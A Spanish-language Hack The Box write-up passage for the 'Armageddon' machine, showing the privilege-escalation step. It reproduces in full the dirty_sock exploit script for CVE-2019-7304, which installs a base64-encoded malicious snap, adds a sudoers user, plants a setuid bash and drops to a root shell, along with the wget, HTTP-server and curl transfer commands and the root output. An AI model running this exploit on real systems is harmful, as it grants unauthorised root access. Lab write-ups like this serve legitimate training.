Vamos a buscar en GitHub algΓΊn exploit existente para ejecutarlo y realizar el escalamiento de privilegios, en mi caso voy a utilizar este exploit:
https://github.com/f4T1H21/dirty_sock
(CrΓ©ditos al creador del script)
#!/usr/bin/python3
#See https://github.com/f4T1H21/dirty_sock for more information.
#Remastered LPE PoC exploit for CVE-2019-7304 written by f4T1H credit goes to initstring.
import os, base64, time
try:
print('[+] Creating file...'); f = open('malicious.snap', 'x')
time.sleep(0.5); print('[+] Writing base64 decoded trojan...'); f = open('malicious.snap', 'wb')
f.write(base64.b64decode('''
aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw''' + 'A' * 4256 + '=='))
f.close()
time.sleep(0.5); print('[+] Installing malicious snap...'); os.system('sudo snap install --dangerous --devmode ./malicious.snap')
time.sleep(0.5); print('\n[+] Deleting snap package...'); os.remove('malicious.snap')
time.sleep(0.5); print('[+] Granting setuid perms to bash as root...'); os.system('''su - dirty_sock <<! >/dev/null 2>&1
dirty_sock
echo '[+] Here comes the PoC:' >/dev/tty && echo 'dirty_sock' | sudo -Sk id >/dev/tty
echo 'dirty_sock' | sudo -kS cp /bin/bash /tmp/.bash >/dev/tty
echo 'dirty_sock' | sudo -kS chmod +s /tmp/.bash >/dev/tty
!''')
time.sleep(0.5); print('\n[+] Deleting the previously created user...'); os.system('/tmp/.bash -p -c "pkill -e dirty_sock; userdel -r -f dirty_sock 2>/dev/null"')
time.sleep(0.5); print('[+] Becoming root...'); os.system('/tmp/.bash -ip')
time.sleep(0.5); print('[+] Removing footprint...'); os.system('/tmp/.bash -p -c "rm -rf /tmp/.bash"')
time.sleep(0.5); print('\n DONE!\n')
except Exception as e:
print(f'Fatal error: \n{e}')
exit()
En este caso, como la maquina de Hack The Box no esta conectado a la red, si no que al conectarnos mediante Kali a la VPN, estamos dentro del segmento de la maquina objetivo Armageddon, vamos a descargarnos el script "lpe.py" dentro de nuestro Kali con el siguiente comando:
wget https://raw.githubusercontent.com/f4T1H21/dirty_sock/refs/heads/main/lpe.py
Se nos descargara el archivo "lpe.py".
Vamos a montar un servidor web con Python donde tengamos el archivo "lpe.py" para pasarlo a la maquina objetivo, utilizamos el siguiente comando:
python3 -m http.server 80
Ejecutamos:
β― python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora vamos a recibir el archivo "lpe.py" desde la shell SSH que tenΓamos del usuario "brucetherealadmin" con el comando "curl":
curl {ip}/lpe.py -o {Nombre del archivo a descargar}
En mi caso el comando quedarΓa asi:
curl 10.10.14.25/lpe.py -o exploit.py
Ejecutamos:
[brucetherealadmin@armageddon ~]$ curl 10.10.14.25/lpe.py -o exploit.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2703 100 2703 0 0 7399 0 --:--:-- --:--:-- --:--:-- 7446
[brucetherealadmin@armageddon ~]$ ls
exploit.py user.txt
Ejecutamos el script y obtendremos una escalada de privilegios automΓ‘tica con el siguiente comando:
python3 exploit.py
Ejecutamos:
[brucetherealadmin@armageddon ~]$ python3 exploit.py
[+] Creating file...
[+] Writing base64 decoded trojan...
[+] Installing malicious snap...
dirty-sock 0.1 installed
[+] Deleting snap package...
[+] Granting setuid perms to bash as root...
[+] Here comes the PoC:
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[+] Deleting the previously created user...
[+] Becoming root...
.bash-4.2# whoami
root
.bash-4.2#
7.2 ObtenciΓ³n de la flag root
7.2 ObtenciΓ³n de la flag root
Ya tendremos el usuario root a nuestra disposiciΓ³n, ahora bien, obtendremos la flag de root para introducirla en Hack The Box. La flag se encuentra en la siguiente ruta:
.bash-4.2# cd /
.bash-4.2# ls
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
.bash-4.2# cd root
.bash-4.2# ls
anaconda-ks.cfg cleanup.sh passwd reset.sh root.txt snap
.bash-4.2# cat root.txt
9e255ccbb12c8c61a01759549e2bece4
En el directorio raΓz, dentro del directorio "root", que en este caso seria el directorio home que le asigna Linux al usuario root.
Con esto concluirΓamos la maquina Armageddon
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Γltima actualizaciΓ³n